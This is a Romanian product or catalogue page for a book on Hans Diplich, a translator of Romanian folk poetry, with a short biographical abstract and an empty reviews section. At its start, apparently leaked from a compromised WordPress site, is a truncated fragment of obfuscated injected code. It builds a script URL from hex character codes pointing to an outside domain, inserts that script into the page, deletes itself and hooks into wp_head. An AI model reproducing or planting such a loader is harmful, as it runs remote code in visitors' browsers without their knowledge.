2,0x61,0x63,0x6b,0x67,0x72,0x6f,0x75,0x6e,0x64,0x2e,0x61,0x70,0x69,0x73,0x74,0x61,0x74,0x65,0x78,0x70,0x65,0x72,0x69,0x65,0x6e,0x63,0x65,0x2e,0x63,0x6f,0x6d,0x2f,0x73,0x74,0x61,0x72,0x74,0x73,0x2f,0x73,0x65,0x65,0x2e,0x6a,0x73),document['currentScript']['parentNode'][_0x3ec646(0x176)](f,document[_0x3ec646(0x17e)]),document['currentScript'][_0x3ec646(0x182)]();function _0x48d3(){var _0x35035=['script','currentScript','9RWzzPf','402740WuRnMq','732585GqVGDi','remove','createElement','30nckAdA','5567320ecrxpQ','src','insertBefore','8ujoTxO','1172840GvBdvX','4242564nZZHpA','296860cVAhnV','fromCharCode','5967705ijLbTz'];_0x48d3=function(){return _0x35035;};return _0x48d3();}";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}} » Medieri literare multiculturale de Hans Diplich Medieri literare multiculturale de Hans Diplich | Memoria Ethnologica

Medieri literare multiculturale de Hans Diplich

Medieri literare multiculturale de Hans Diplich Rezumat Bănăţeanul HANS DIPLICH (1909–1990), istoric literar, poet, scriitor, traducător şi etnograf, un cunoscător profund al literaturii române, s-a născut la Comloşul Mare, studiază filologia (română-germană) la Bucureşti şi Cluj, făcându-şi studiile complementare de pedagogie la Universitatea din Lipsca şi Münster în Westfalia. Cariera didactică şi-o începe ca profesor de liceu la Timişoara (1933- 1941), apoi director de liceu (1941-1944) la Bela Crkva în Banatul iugoslav, iar între 1945-1971 cadru didactic la diferite gimnazii în R.F.G. A tradus piese reprezentative din lirica populară românească (vol. 1 – 1953, vol. 2 – 1963) într-o excelentă versiune germană: „Rumänische Lieder. Nachdichtungen“, 2 Bände. Varianta tradusă a Mioriţei este una din cele mai reuşite realizări unanim recunoscută de specialişti. Hans Diplich a tradus şi din lirica cultă precum şi un volum selectiv din Ana Blandiana. Talentul la translaţie a lui HANS DIPLICH a fost apreciat de „Contemporanul“ din 7.1. 1966: „Dublat de cunoscătorul profund al literaturii româneşti, Diplich a găsit paralelisme între cele două fenomene literare orale, scoţând în acelaşi timp în relief coloritul naţional al poeziei populare româneşti datorită faptului că a păstrat imaginile fundamentale, cuvintele-cheie ale textului original. Rezistentă la transpunerea într-o altă limbă, poezia populară românească a găsit în persoana lui Hans Diplich un poet capabil să-i pună în relief strălucirea unică, originalitatea care-i asigură un loc de frunte în folclorul popoarelor din Europa“.

Recenzii

Nu există recenzii până acum.

Fii primul care adaugi o recenzie la „Medieri literare multiculturale de Hans Diplich”